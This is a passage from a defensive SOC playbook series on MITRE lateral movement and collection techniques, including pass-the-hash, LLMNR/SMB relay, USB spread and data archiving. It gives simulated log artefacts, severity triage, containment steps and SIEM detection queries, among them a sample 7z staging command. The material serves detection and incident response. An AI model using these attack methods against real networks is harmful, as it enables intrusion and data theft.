Service=VNC\nTarget=ENG-WS01

Auth=None

G) Cloud Service Access

Cloud=Azure

Action=RunCommand

VM=Prod-VM01

User=CompromisedAccount

H) Direct Cloud VM Connection

Protocol=SSH

PublicIP=52.x.x.x

VM=Cloud-VM02

Severity decision (SOC)

Medium

- Remote access consistent with known admin behaviour

High

- Remote services used outside baseline
- Lateral movement across multiple systems

Critical

- Privileged accounts abused via remote services
- On-prem to cloud lateral movement
- Remote access following credential compromise

Example severity: Critical

(Admin credentials abused across on-prem and cloud systems)

Step-by-step SOC workflow

Step 1 Validate remote services lateral movement

Confirm:

1. Which remote services were used (RDP, SMB, SSH, cloud)?
2. Are logins consistent with user role and baseline?
3. Is movement sequential or automated across hosts?

4. Did activity follow credential theft or phishing?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious credential-based movement → escalate

Step 2 Identify service-specific abuse patterns

Service	Evidence	Attacker value
RDP	Interactive sessions	GUI control
SMB/Admin\$	File staging	Tool transfer
DCOM	Remote execution	Stealth
SSH	Shell access	Root/admin
VNC	GUI without auth	Weak controls
WinRM	Scripted execution	Automation
Cloud services	Control plane	Full tenant
Direct VM access	Public IP	Bypass perimeter

Step 3 Map behaviour to attacker intent

3A) Stealthy Lateral Expansion

Indicators

- Legitimate services, no exploits

Attacker intent

- Avoid detection

3B) Privilege Propagation

Indicators

- Admin credentials reused across systems

Attacker intent

- Maintain high privilege everywhere

3C) Hybrid Environment Control

Indicators

- On-prem → cloud movement

Attacker intent

- Full infrastructure dominance

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, cloud token theft
2. Persistence
 - New accounts, SSH keys, cloud IAM roles
3. Lateral Tool Transfer
 - SMB, SCP, WinRM staging
4. Impact
 - Ransomware, data exfiltration

Decision point

- Evidence found → escalate to Incident Response / Enterprise Compromise

Containment actions

Immediate

1. Restrict remote access for compromised accounts
2. Isolate affected systems if movement is active
3. Increase monitoring on remote services

If abuse confirmed

1. Force password resets and revoke tokens
2. Terminate active remote sessions
3. Restrict admin shares and WinRM access
4. Preserve authentication, endpoint and cloud logs

Eradication and recovery

- Remove attacker access from all environments
- Enforce least privilege and tiered admin access
- Implement MFA everywhere (including RDP/SSH/cloud)
- Harden remote service exposure

- Monitor continuously for renewed lateral access

Detection engineering (SIEM ideas)

A) Unusual remote service usage

index=auth
| where service IN ("RDP","SMB","SSH","WinRM","VNC")
| where src_host NOT IN baseline_sources

B) Multi-host remote access burst

index=auth
| stats dc(dest_host) by user
| where dc(dest_host) > threshold

C) On-prem to cloud access correlation

index=auth OR index=cloud_audit
| transaction user
| where on_prem_access=true AND cloud_access=true

Analyst checklist

- Remote services abuse confirmed
- Services and hosts identified
- Credential scope assessed
- Cloud and on-prem impact reviewed
- Containment and recovery actions executed

Post-incident improvements

- Treat remote services abuse as primary lateral movement vector
- Enforce MFA and conditional access universally
- Restrict admin shares and legacy protocols
- Monitor credential theft → remote access chains
- Include hybrid lateral movement scenarios in SOC and purple-team exercises

Playbook 188 (MITRE Lateral Movement): Replication Through Removable Media

Technique: Replication Through Removable Media

Purpose

Detect, investigate and respond to attackers spreading malware or tools via removable media, enabling attackers to:

- Move laterally in air-gapped or segmented environments
- Bypass network security controls entirely
- Infect systems that are not network-reachable
- Propagate malware via USB drives, external disks or removable storage
- Target operational technology (OT), secure zones or high-value isolated systems

Replication Through Removable Media is physical-assisted lateral movement attackers move outside the network layer using trusted human actions and removable devices.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious activity tied to removable media, including:

- Malware execution immediately after USB insertion
- Creation of suspicious files on removable drives
- Autorun-like behaviour or LNK abuse
- Identical malware appearing on disconnected systems
- Removable media usage preceding lateral compromise

Example use case scenario (end-to-end)

Context: SOC detects malware execution on an engineering workstation that has no network connectivity to other segments. Investigation reveals a USB drive was inserted shortly before execution. The same malware is later detected on another isolated system using the same removable media.

Attacker objective: Spread malware across segmented or air-gapped systems using removable devices.

Defender objective: Detect and contain physical-vector lateral movement before widespread propagation.

What it looks like (simulated SOC artefacts)

A) USB Device Insertion

DeviceType=USB Mass Storage

Vendor=Generic

Serial=ABCD1234

User=ENG\User1

B) Suspicious File Written to Removable Media

Drive=E:\

File=report.pdf.lnk

SourceProcess=explorer.exe

C) Malware Execution from Removable Drive

ImagePath=E:\update.exe

ParentProcess=explorer.exe

D) Hidden Payload Copy

Action=Copy

Source=E:\update.exe

Destination=C:\ProgramData\update.exe

E) Multiple Hosts Infected

Host=ENG-WS01

Host=ENG-WS02

Vector=USB

F) No Network-Based Delivery

InternetDownload=None

InternalTransfer=None

Severity decision (SOC)

Medium

- Suspicious removable media usage without execution

High

- Malware executed from removable media

Critical

- Replication across multiple systems
- Infection of isolated, OT or high-security zones

Example severity: Critical

(USB-borne malware spreading across segmented systems)

Step-by-step SOC workflow

Step 1 Validate removable media replication

Confirm:

1. Was removable media inserted before malware execution?
2. Did execution occur directly from the removable drive?
3. Are multiple hosts infected via the same device?
4. Is there no network-based delivery path?

Decision point

- Benign removable media usage → document
- Malicious execution or replication → escalate immediately

Step 2 Identify replication method and scope

Method	Evidence	Attacker value
Malicious executables	.exe, .dll	Direct execution
LNK abuse	Fake shortcuts	User deception
Hidden files	System/hidden attrs	Stealth
Script files	.ps1, .bat	Automation
Autorun emulation	User-triggered	Legacy abuse

Step 3 Map behaviour to attacker intent

3A) Air-Gapped Propagation

Indicators

- Infection of isolated systems

Attacker intent

- Bypass network security

3B) Human-Assisted Spread

Indicators

- Execution via Explorer / double-click

Attacker intent

- Exploit user trust

3C) Stealth Persistence

Indicators

- Payload copied locally after USB execution

Attacker intent

- Maintain access beyond removable media

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, startup items
2. Credential Access
 - Local credential harvesting
3. Discovery
 - Network and system enumeration
4. Command and Control
 - Delayed C2 once connected

Decision point

- Evidence found → escalate to Incident Response / Containment Mode

Containment actions

Immediate

1. Remove and quarantine affected removable media
2. Isolate infected endpoints
3. Disable removable media usage temporarily if required

If spread confirmed

1. Scan all systems that accessed the media
2. Block USB mass storage via policy where possible
3. Preserve USB artefacts, files and endpoint telemetry
4. Notify OT / engineering / secure zone owners

Eradication and recovery

- Remove malware from all infected hosts
- Reimage systems in high-risk zones if required
- Enforce removable media controls and scanning
- Educate users on removable media risks
- Monitor closely for re-introduction attempts

Detection engineering (SIEM ideas)

A) Execution from removable drives

```
index=edr  
| where image_path LIKE "%:\\%"  
| where removable_media=true
```

B) USB insertion followed by execution

```
index=edr  
| transaction host  
| where usb_insert=true AND process_execution=true
```

C) Same file hash across disconnected hosts

```
index=edr  
| stats dc(host) by file_hash  
| where dc(host) > 1
```

Analyst checklist

- Removable media vector confirmed
- Infected hosts identified
- Scope across segments assessed
- Media quarantined
- Containment and cleanup completed

Post-incident improvements

- Treat removable media replication as high-risk lateral movement
- Enforce USB control policies and scanning
- Monitor execution from non-fixed drives
- Correlate USB insertion → execution → persistence
- Include removable-media attack scenarios in SOC and purple-team exercises

Playbook 189 (MITRE Lateral Movement): Software Deployment Tools

Technique: Software Deployment Tools

Purpose

Detect, investigate and respond to attackers abusing legitimate software deployment, configuration management or patching tools to move laterally, enabling attackers to:

- Execute payloads across many systems simultaneously
- Abuse trusted admin tooling to evade detection
- Distribute malware under the guise of updates or scripts
- Achieve rapid, large-scale lateral movement
- Maintain stealth by blending into normal IT operations

Software Deployment Tools represent high-impact lateral movement, where attackers weaponise enterprise management infrastructure instead of individual hosts.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of deployment or management tooling, including:

- Unexpected package, script or task deployment
- Software pushed outside approved change windows
- Deployment jobs initiated by compromised accounts
- Payloads delivered via SCCM, Ansible, Puppet, Chef, GPO, RMM tools
- Sudden execution of identical binaries across many hosts

Example use case scenario (end-to-end)

Context: SOC observes a new executable deployed to hundreds of endpoints via SCCM. The deployment was not approved and was initiated using a compromised IT admin account. Within minutes, all endpoints execute the binary and establish outbound connections.

Attacker objective: Leverage trusted deployment tooling to achieve rapid lateral spread and execution.

Defender objective: Detect and stop mass compromise driven by management infrastructure abuse.

What it looks like (simulated SOC artefacts)

A) Unauthorised Deployment Job Created

Tool=SCCM
Package=Security_Update_v3
Creator=CORP\Admin2
ChangeTicket=None

B) Mass Distribution Event

Targets=312 Hosts
Action=Deploy
Content=update.exe

C) Simultaneous Execution Across Hosts

Process=update.exe
Parent=ccmexec.exe
User=SYSTEM

D) No External Download

InternetDownload=None
Source=Internal Deployment Server

E) Identical Hash on Multiple Hosts

FileHash=abcd1234
HostCount=312

F) Post-Deployment Network Activity

DestinationIP=185.x.x.x
Protocol=HTTPS

Severity decision (SOC)

High

- Suspicious deployment attempt without execution

Critical

- Unauthorised deployment with execution
- Abuse of privileged deployment tools

- Large-scale host impact

Example severity: Critical

(Malware pushed to hundreds of endpoints via SCCM)

Step-by-step SOC workflow

Step 1 Validate deployment tool abuse

Confirm:

1. Which tool was used (SCCM, GPO, Ansible, RMM, etc.)?
2. Was the deployment authorised and change-approved?
3. Who initiated the deployment and from where?
4. Did it result in code execution?

Decision point

- Legitimate emergency deployment → verify and document
- Unauthorised or suspicious deployment → escalate immediately

Step 2 Identify deployment vector and scope

Tool	Evidence	Attacker value
SCCM / Endpoint Manager	Package deployment	Mass execution
Group Policy	Startup/logon scripts	Domain-wide spread
Ansible / Puppet / Chef	Playbooks	Automated control
RMM tools	Remote execution	MSP-style reach
Patch systems	Fake updates	High trust

Step 3 Map behaviour to attacker intent

3A) Rapid Mass Lateral Movement

Indicators

- Simultaneous execution on many hosts

Attacker intent

- Maximise impact quickly

3B) Defense Evasion via Trust

Indicators

- Execution under SYSTEM or service context

Attacker intent

- Blend into normal admin activity

3C) Persistent Enterprise Control

Indicators

- Scheduled or recurring deployments

Attacker intent

- Maintain long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Outbound connections from many hosts
2. Credential Access
 - LSASS dumping on multiple systems
3. Persistence
 - GPO or scheduled redeployments
4. Impact
 - Ransomware, data exfiltration

Decision point

- Evidence found → escalate to Major Incident / Crisis Mode

Containment actions

Immediate

1. Disable affected deployment jobs
2. Revoke access to compromised admin accounts
3. Isolate deployment infrastructure if necessary

If abuse confirmed

1. Halt all non-essential deployments
2. Remove malicious packages/scripts
3. Force credential resets for deployment admins
4. Preserve deployment logs, configs and binaries

Eradication and recovery

- Clean all affected hosts
- Rebuild compromised deployment servers if needed
- Implement strict change control and approvals
- Enforce MFA and role separation for deployment tools
- Monitor closely for redeployment attempts

Detection engineering (SIEM ideas)

A) Deployment outside change window

```
index=deployment  
| where approved_change=false
```

B) Mass execution via management agents

```
index=edr  
| where parent_process IN ("ccmexec.exe","winlogon.exe","ansible")  
| stats count by process_name  
| where count > threshold
```

C) Deployment followed by network beaconing

```
index=edr OR index=network  
| transaction file_hash  
| where mass_execution=true AND outbound_connection=true
```

Analyst checklist

- Deployment tool abuse confirmed
- Tool and account identified
- Scope of host impact assessed
- Deployment halted and contained
- Incident escalated appropriately

Post-incident improvements

- Treat deployment tooling as Tier-0 assets

- Enforce MFA and least privilege for management tools
- Alert on unauthorised or large-scale deployments
- Correlate deployment → execution → network activity
- Include software-deployment abuse scenarios in SOC and purple-team exercises

Playbook 190 (MITRE Lateral Movement): Taint Shared Content

Technique: Taint Shared Content

Purpose

Detect, investigate and respond to attackers poisoning shared resources so that other internal users or systems become compromised through normal access, enabling attackers to:

- Spread malware without direct targeting
- Abuse trust in shared files, repositories or collaboration platforms
- Achieve lateral movement via routine business workflows
- Persist in environments with limited network access
- Bypass security controls by leveraging legitimate shared content

Taint Shared Content is passive lateral movement attackers do not move directly to new systems instead, victims come to them.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious modification of shared resources, including:

- Malware execution originating from shared folders or repositories
- Tampered documents, scripts or installers on file shares
- Unexpected macro, script or binary changes in shared locations
- Multiple users compromised after accessing the same shared content
- Shared resources used as a common infection vector

Example use case scenario (end-to-end)

Context: SOC detects malware execution on multiple finance workstations. All affected users recently opened the same Excel file from a shared network drive. The file was modified shortly before the first execution and contains a malicious macro.

Attacker objective: Achieve low-noise lateral spread by poisoning shared business content.

Defender objective: Identify tainted shared resources and stop further propagation.

What it looks like (simulated SOC artefacts)

A) Malicious Modification of Shared File

FilePath=\\FILESRV01\Finance\Budget2026.xlsm
ModifiedBy=CORP\UserA
ModificationType=MacroAdded

B) Execution by Multiple Users

User=FIN\User1
User=FIN\User2
SourceFile=\\FILESRV01\Finance\Budget2026.xlsm

C) Execution Context

Process=excel.exe
ChildProcess=powershell.exe

D) No External Download

InternetDownload=None
Vector=Internal File Share

E) Shared Content Trust Abuse

FileReputation=Trusted
Location=Shared Drive

F) Infection Pattern

CommonVector=SharedContent
AffectedHosts=5

Severity decision (SOC)

Medium

- Suspicious shared file modification without execution

High

- Execution of scripts or macros from shared content

Critical

- Multiple systems compromised via shared resources
- Tainted content used across departments or privileged users

Example severity: Critical

(Malicious shared document infecting multiple users)

Step-by-step SOC workflow

Step 1 Validate tainted shared content

Confirm:

1. Which shared resource was accessed (file share, repo, collaboration tool)?
2. Was the content modified unexpectedly or by an unusual user?
3. Did execution occur after access to shared content?
4. Are multiple victims linked to the same resource?

Decision point

- Legitimate update → document
- Malicious or suspicious modification → escalate immediately

Step 2 Identify tainting method and scope

Method	Evidence	Attacker value
Macro injection	Office files	User-driven execution
Script poisoning	.ps1, .bat	Automation
Binary replacement	Installers/tools	High trust abuse
Repo tampering	Git/CI artifacts	Dev pipeline spread
Shortcut abuse	.lnk files	Stealth execution

Step 3 Map behaviour to attacker intent

3A) Passive Lateral Spread

Indicators

- Victims access shared content voluntarily

Attacker intent

- Minimise active movement noise

3B) Trust Exploitation

Indicators

- Use of well-known shared locations

Attacker intent

- Increase success rate

3C) Long-Lived Propagation

Indicators

- Persistent tainted files

Attacker intent

- Ongoing access without reinfection effort

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Script or macro launches
2. Persistence
 - Startup items, services
3. Credential Access
 - Post-execution harvesting
4. Command and Control
 - Delayed outbound connections

Decision point

- Evidence found → escalate to Incident Response / Containment Mode

Containment actions

Immediate

1. Quarantine or remove tainted shared content
2. Restrict access to affected shared locations
3. Isolate infected endpoints

If spread confirmed

1. Audit access logs for shared resources

2. Scan all users and systems that accessed content
3. Disable write access temporarily
4. Preserve file versions, hashes and audit logs

Eradication and recovery

- Remove malicious content from all shared locations
- Restore clean versions from trusted backups
- Harden permissions on shared resources
- Implement file integrity monitoring (FIM)
- Educate users on shared content risks

Detection engineering (SIEM ideas)

A) Execution from shared paths

```
index=edr  
| where image_path LIKE "\\%\\\"
```

B) Shared file modified then executed

```
index=edr  
| transaction file_path  
| where file_modified=true AND process_execution=true
```

C) Multiple users executing same file

```
index=edr  
| stats dc(user) by file_hash  
| where dc(user) > 1
```

Analyst checklist

- Tainted shared content confirmed
- Modification source identified
- Scope of affected users assessed
- Content removed or cleaned
- Containment and remediation completed

Post-incident improvements

- Treat shared content as high-risk lateral movement vector
- Enforce least privilege and version control on shared resources
- Monitor for execution from shared paths

- Correlate shared file modification → multi-user execution
- Include shared-content poisoning scenarios in SOC and purple-team exercises

Playbook 191 (MITRE Lateral Movement): Use Alternate Authentication Material

Technique: Use Alternate Authentication Material

Sub-techniques:

- Application Access Token
- Pass the Hash
- Pass the Ticket
- Web Session Cookie

Purpose

Detect, investigate and respond to attackers authenticating without passwords by abusing alternate authentication artifacts, enabling attackers to:

- Bypass MFA and password-based controls
- Reuse stolen tokens, hashes, tickets or cookies
- Authenticate silently without triggering login prompts
- Move laterally using trusted identity material
- Evade traditional authentication monitoring

Use Alternate Authentication Material is credential-less credential abuse attackers authenticate using proof of prior trust, not passwords.

When to trigger this playbook

Trigger this playbook when indicators suggest authentication without password entry, including:

- Successful authentication without interactive login events
- Access using tokens, hashes, Kerberos tickets or cookies
- MFA not triggered for privileged access
- Reuse of authentication artifacts across hosts or services
- Lateral movement following credential access activity

Example use case scenario (end-to-end)

Context: SOC observes a workstation authenticating to multiple servers as a domain admin. No password logons or MFA prompts occur. Investigation reveals NTLM hashes were dumped earlier and reused via Pass-the-Hash. The attacker later accesses a web admin portal using a stolen session cookie.

Attacker objective: Move laterally without credentials by abusing existing authentication artifacts.

Defender objective: Detect silent authentication abuse and stop trust-based lateral spread.

What it looks like (simulated SOC artefacts)

A) Application Access Token Abuse

Service=Cloud API
AuthMethod=OAuth Token
User=CORP\AppService
PasswordLogin=False

B) Pass the Hash

AuthType=NTLM
LogonType=3
SourceHost=WS-23
TargetHost=SRV-FILE01
PasswordUsed=False

C) Pass the Ticket

KerberosTicket=TGT
User=DomainAdmin
Renewal=True
PasswordAuth=None

D) Web Session Cookie Reuse

SessionID=abcd1234
IPChange=Yes
UserAgent=Different
Reauth=None

E) Privileged Access Without MFA

User=Admin
MFACHallenge=False
AccessGranted=True

F) Lateral Authentication Pattern

SameArtifactUsed=Yes
HostCount=4

Severity decision (SOC)

High

- Single instance of alternate authentication use

Critical

- Privileged access via hashes, tickets, tokens or cookies
- Artifact reuse across multiple systems
- MFA bypass confirmed

Example severity: Critical

(Domain admin access achieved via Pass-the-Hash and cookie reuse)

Step-by-step SOC workflow

Step 1 Validate alternate authentication use

Confirm:

1. Which artifact was used (token, hash, ticket, cookie)?
2. Did authentication occur without password or MFA?
3. Is the artifact reused across hosts or services?
4. Was the artifact previously exposed or stolen?

Decision point

- Expected service account behaviour → document
- Suspicious or unauthorised artifact use → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Application access token	API auth logs	Cloud control
Pass the Hash	NTLM logons	Passwordless auth
Pass the Ticket	Kerberos reuse	Domain-wide access
Web session cookie	Session hijack	App-level admin

Step 3 Map behaviour to attacker intent

3A) MFA and Password Bypass

Indicators

- Access without interactive authentication

Attacker intent

- Avoid strong authentication

3B) Silent Lateral Movement

Indicators

- No login prompts or failures

Attacker intent

- Blend into normal activity

3C) Privilege Inheritance

Indicators

- Admin access via artifacts

Attacker intent

- Maximise control rapidly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Remote services, session hijacking
2. Credential Access
 - LSASS dumping, ticket extraction
3. Persistence
 - Token creation, ticket renewal
4. Impact
 - Data access, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

Immediate

1. Invalidate exposed tokens, tickets and sessions
2. Force reauthentication for affected accounts
3. Isolate systems used to perform authentication abuse

If abuse confirmed

1. Reset passwords and rotate secrets
2. Revoke Kerberos tickets (where possible)
3. Invalidate web sessions globally
4. Preserve authentication, endpoint and cloud logs

Eradication and recovery

- Remove attacker access from all systems
- Reissue clean credentials and tokens
- Enforce MFA everywhere possible
- Disable NTLM where feasible
- Monitor closely for artifact reuse

Detection engineering (SIEM ideas)

A) NTLM logons without password

index=auth
| where auth_type="NTLM" AND password_used=false

B) Kerberos ticket reuse

index=auth
| where kerberos_event="TGT_Reuse"

C) Session cookie reuse across IPs

index=web
| where session_reuse=true AND ip_change=true

D) API token abuse

index=cloud
| where auth_method="Token" AND mfa=false

Analyst checklist

- Alternate authentication confirmed
- Artifact type identified
- Privilege level assessed
- Scope of lateral movement determined
- Tokens, tickets and sessions revoked

Post-incident improvements

- Treat alternate authentication abuse as critical lateral movement
- Reduce credential artifact lifetime
- Enforce phishing-resistant MFA
- Disable legacy authentication (NTLM)
- Correlate credential access → artifact use → lateral movement

COLLECTION

Collection is the stage where attackers gather data of interest from compromised systems to fulfil their objectives. After establishing access and movement within the environment, adversaries locate and collect sensitive information such as documents, databases, emails, credentials or proprietary data. This activity may be targeted and selective or broad and automated, depending on the attacker's goals. For SOC teams, detecting collection activity is critical because it indicates the attacker is preparing for data exfiltration or impact identifying and stopping collection early can prevent loss of sensitive information and reduce regulatory, financial and reputational damage.

Playbook 192 (MITRE Collection): Adversary-in-the-Middle

Technique: Adversary-in-the-Middle

Sub-techniques:

- LLMNR / NBT-NS Poisoning and SMB Relay
- ARP Cache Poisoning
- DHCP Spoofing
- Evil Twin

Purpose

Detect, investigate and respond to attackers positioning themselves between victims and legitimate services to intercept, manipulate or relay traffic, enabling attackers to:

- Capture credentials and authentication material
- Relay authentication to other systems (credential reuse without cracking)
- Collect sensitive data in transit
- Bypass encryption or MFA through relay attacks
- Expand access silently without malware deployment

Adversary-in-the-Middle is network-layer collection attackers steal data while it is being transmitted, often without touching the endpoint.

When to trigger this playbook

Trigger this playbook when indicators suggest traffic interception or manipulation, including:

- Unexpected LLMNR/NBT-NS responses on the network
- SMB authentication attempts without user interaction
- Duplicate IP/MAC address conflicts
- Clients receiving unexpected DHCP parameters
- Users connecting to suspicious or rogue Wi-Fi access points
- Credential capture without endpoint compromise

Example use case scenario (end-to-end)

Context: SOC detects NTLM authentication attempts to an internal host that is not a file server. Simultaneously, LLMNR traffic spikes across the subnet. Investigation confirms an attacker is poisoning name resolution and relaying captured NTLM credentials to access servers.

Attacker objective: Collect credentials and session material without malware.

Defender objective: Detect and remove the attacker from the network path before widespread credential compromise.

What it looks like (simulated SOC artefacts)

A) LLMNR / NBT-NS Poisoning

Protocol=LLMNR
Query=FILESERV01
ResponderIP=10.10.5.99
ResponderMAC=Unknown

B) SMB Relay Attempt

AuthType=NTLM
SourceHost=Victim-WS01
RelayTarget=SRV-FILE01
PasswordUsed=False

C) ARP Cache Poisoning

ARP Reply
IP=10.10.5.1
MAC=AA:BB:CC:DD:EE:FF
ConflictDetected=True

D) DHCP Spoofing

DHCP Offer
Gateway=10.10.5.99
DNS=10.10.5.99
AuthorisedDHCP=False

E) Evil Twin Wi-Fi

SSID=Corp-WiFi
BSSID=Fake
Encryption=None
Signal=Strong

F) Credential Capture Without Malware

EndpointCompromise=False
CredentialExposure=True

Severity decision (SOC)

High

- Single MITM indicator without credential capture

Critical

- Confirmed credential interception or relay
- MITM techniques affecting multiple users
- Network-wide interception risk

Example severity: Critical

(Active LLMNR poisoning and NTLM relay)

Step-by-step SOC workflow

Step 1 Validate adversary-in-the-middle activity

Confirm:

1. Which MITM technique is present (LLMNR, ARP, DHCP, Wi-Fi)?
2. Is traffic being intercepted or manipulated?
3. Are credentials or sessions exposed?
4. Is the attacker internal or external?

Decision point

- Benign misconfiguration → remediate
- Malicious MITM → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
LLMNR/NBT-NS poisoning	Name resolution spoofing	NTLM capture
SMB relay	Auth reuse	Lateral access
ARP poisoning	Traffic interception	Data theft
DHCP spoofing	Rogue network config	Full MITM
Evil Twin	Fake Wi-Fi	Credential harvesting

Step 3 Map behaviour to attacker intent

3A) Credential Collection

Indicators

- NTLM, SMB or Wi-Fi credential exposure

Attacker intent

- Obtain reusable authentication material

3B) Silent Access Expansion

Indicators

- Relay attacks without cracking

Attacker intent

- Bypass passwords and MFA

3C) Broad Traffic Visibility

Indicators

- ARP/DHCP manipulation

Attacker intent

- Collect sensitive data at scale

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - SMB relay, remote services
2. Credential Access
 - Pass-the-Hash, Pass-the-Ticket
3. Persistence
 - Network device compromise
4. Command and Control
 - Data exfiltration paths

Decision point

- Evidence found → escalate to Major Incident / Network Compromise

Containment actions

Immediate

1. Remove rogue devices from the network
2. Block attacker MAC/IP addresses
3. Disable LLMNR and NBT-NS where possible
4. Force reauthentication for affected users

If active MITM confirmed

1. Rotate exposed credentials immediately
2. Invalidate Kerberos tickets and sessions
3. Enforce SMB signing and LDAP signing
4. Preserve packet captures and network logs

Eradication and recovery

- Remove attacker footholds
- Harden network configuration (DHCP snooping, ARP inspection)
- Enforce encrypted protocols everywhere
- Disable legacy name resolution protocols
- Monitor closely for renewed MITM activity

Detection engineering (SIEM ideas)

A) LLMNR/NBT-NS activity

```
index=network  
| where protocol IN ("LLMNR","NBT-NS")  
| stats count by responder_ip
```

B) NTLM authentication without server role

```
index=auth  
| where auth_type="NTLM" AND target_role!="FileServer"
```

C) ARP anomalies

```
index=network  
| where arp_conflict=true
```

D) Rogue DHCP detection

index=network
| where dhcp_server_authorised=false

Analyst checklist

- MITM technique confirmed
- Affected users and segments identified
- Credential exposure assessed
- Rogue infrastructure removed
- Network hardening actions applied

Post-incident improvements

- Treat MITM as high-impact credential collection vector
- Disable LLMNR/NBT-NS enterprise-wide
- Enforce SMB signing and WPA-Enterprise
- Deploy DHCP snooping and ARP inspection
- Include MITM attack simulations in SOC and purple-team exercises

Playbook 193 (MITRE Collection): Archive Collected Data

Technique: Archive Collected Data

Sub-techniques:

- Archive via Utility
- Archive via Library
- Archive via Custom Method

Purpose

Detect, investigate and respond to attackers compressing or packaging collected data prior to exfiltration, staging or long-term storage, enabling attackers to:

- Reduce data size for faster and stealthier exfiltration
- Bundle multiple data types into a single transferable object
- Obfuscate sensitive contents from casual inspection
- Stage data internally before exfiltration windows open
- Evade detection by using legitimate archiving tools or APIs

Archive Collected Data is pre-exfiltration preparation attackers organise and compress stolen information to make theft efficient and less noisy.

When to trigger this playbook

Trigger this playbook when indicators suggest **unexpected archiving activity**, including:

- Compression of files in user or system directories without business justification
- Use of archiving utilities by suspicious processes or service accounts
- Creation of large archive files shortly after data collection
- Archives created in staging locations (Temp, ProgramData, hidden folders)
- Archiving followed by outbound network activity or lateral staging

Example use case scenario (end-to-end)

Context: SOC observes a compromised workstation creating multiple ZIP archives in C:\ProgramData\. The files include browser data, documents and credential dumps. Minutes later, the archives are transferred to another internal server and prepared for exfiltration.

Attacker objective: Prepare stolen data efficiently for exfiltration.

Defender objective: Detect data staging early and prevent data loss.

What it looks like (simulated SOC artefacts)

A) Archive via Utility

Process=7z.exe

Command=7z a data.7z C:\Users*\Documents

User=CORP\UserA

B) Archive via Library

Process=python.exe

Library=zipfile

Output=C:\ProgramData\cache.zip

C) Archive via Custom Method

Process=custom.exe

Action=Concatenate+Encode

Output=data.bin

D) Unusual Archive Location

Path=C:\ProgramData\syscache\

File=archive.zip

E) Timing Correlation

Collection=Completed

ArchiveCreation=+2 minutes

F) No Legitimate Business Context

UserRole=Standard User

ArchivingTask=Unexpected

Severity decision (SOC)

Medium

- Legitimate archiving tools used by authorised users

High

- Archiving by suspicious process or service account

Critical

- Archiving of sensitive data without justification
- Archive creation followed by staging or exfiltration

Example severity: Critical

(Preparation of stolen credentials and documents for exfiltration)

Step-by-step SOC workflow

Step 1 Validate archive activity

Confirm:

1. Which archiving method was used (utility, library, custom)?
2. What data types were included (documents, credentials, configs)?
3. Is the activity consistent with user role or system function?
4. Did archiving follow data collection behaviour?

Decision point

- Legitimate backup or compression → document
- Suspicious staging activity → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Archive via utility	zip, tar, 7z	Blend with admin tools
Archive via library	Language APIs	Stealth, fileless
Custom method	Binary encoding	Evasion
Split archives	Multipart files	Large data handling
Password-protected	Encrypted archives	Detection avoidance

Step 3 Map behaviour to attacker intent

3A) Exfiltration Preparation

Indicators

- Archives created shortly after data collection

Attacker intent

- Prepare for data theft

3B) Stealth and Obfuscation

Indicators

- Custom or library-based archiving

Attacker intent

- Evade detection and inspection

3C) Internal Staging

Indicators

- Archives stored in hidden or uncommon locations

Attacker intent

- Wait for exfiltration opportunity

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Uploads, cloud sync, C2 transfer
2. Lateral Movement
 - Archive transfer to other hosts
3. Defense Evasion
 - Archive encryption or deletion of originals
4. Command and Control
 - Triggered exfiltration commands

Decision point

- Evidence found → escalate to Incident Response / Data Loss Incident

Containment actions

Immediate

1. Isolate affected endpoint
2. Quarantine archive files
3. Block outbound connections from affected host

If malicious staging confirmed

1. Preserve archive files for forensic analysis
2. Identify and secure affected data sources
3. Reset credentials if sensitive material included
4. Notify data owners and management

Eradication and recovery

- Remove malicious tooling and persistence
- Restore affected systems from clean state if required
- Review access to sensitive data repositories
- Improve DLP and endpoint monitoring
- Monitor closely for renewed staging attempts

Detection engineering (SIEM ideas)

A) Archiving utilities usage

```
index=edr  
| where process_name IN ("zip.exe","7z.exe","rar.exe","tar")
```

B) Library-based archive creation

```
index=edr  
| where api_call IN ("zipfile","CreateArchive")
```

C) Archive creation after collection

```
index=edr  
| transaction host  
| where data_collection=true AND archive_created=true
```

Analyst checklist

- Archive creation confirmed
- Data types identified
- Business justification assessed
- Archive quarantined
- Exfiltration risk evaluated

Post-incident improvements

- Treat unexpected archiving as strong pre-exfiltration signal

- Alert on archive creation in staging directories
- Correlate collection → archive → transfer chains
- Implement stricter controls for compression utilities
- Include data-staging scenarios in SOC and purple-team exercises

Playbook 194 (MITRE Collection): Audio Capture

Technique: Audio Capture

Purpose

Detect, investigate and respond to attackers capturing audio from compromised systems, enabling attackers to:

- Eavesdrop on sensitive conversations (meetings, calls, discussions)
- Collect verbal credentials, MFA codes or confidential information
- Monitor executive, legal, finance or incident-response conversations
- Support espionage, fraud or extortion operations
- Enhance intelligence collection beyond files and keystrokes

Audio Capture is covert surveillance-based collection attackers collect human speech, not just digital artefacts.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised microphone or audio device access, including:

- Microphone access by unexpected processes
- Audio recording without user interaction
- Background processes interacting with audio APIs
- Audio device access outside business hours
- Audio capture correlated with espionage-style activity

Example use case scenario (end-to-end)

Context: SOC detects a user workstation accessing microphone APIs continuously, even when no conferencing software is active. The process writes .wav files to a hidden directory and periodically compresses them. The files are later staged for exfiltration.

Attacker objective: Collect spoken sensitive information for intelligence gathering.

Defender objective: Detect covert audio surveillance early and protect human communications.

What it looks like (simulated SOC artefacts)

A) Microphone Access by Suspicious Process

Process=svchost.exe
API=IAudioCaptureClient::GetBuffer
User=CORP\UserA

B) Audio Recording Without User App

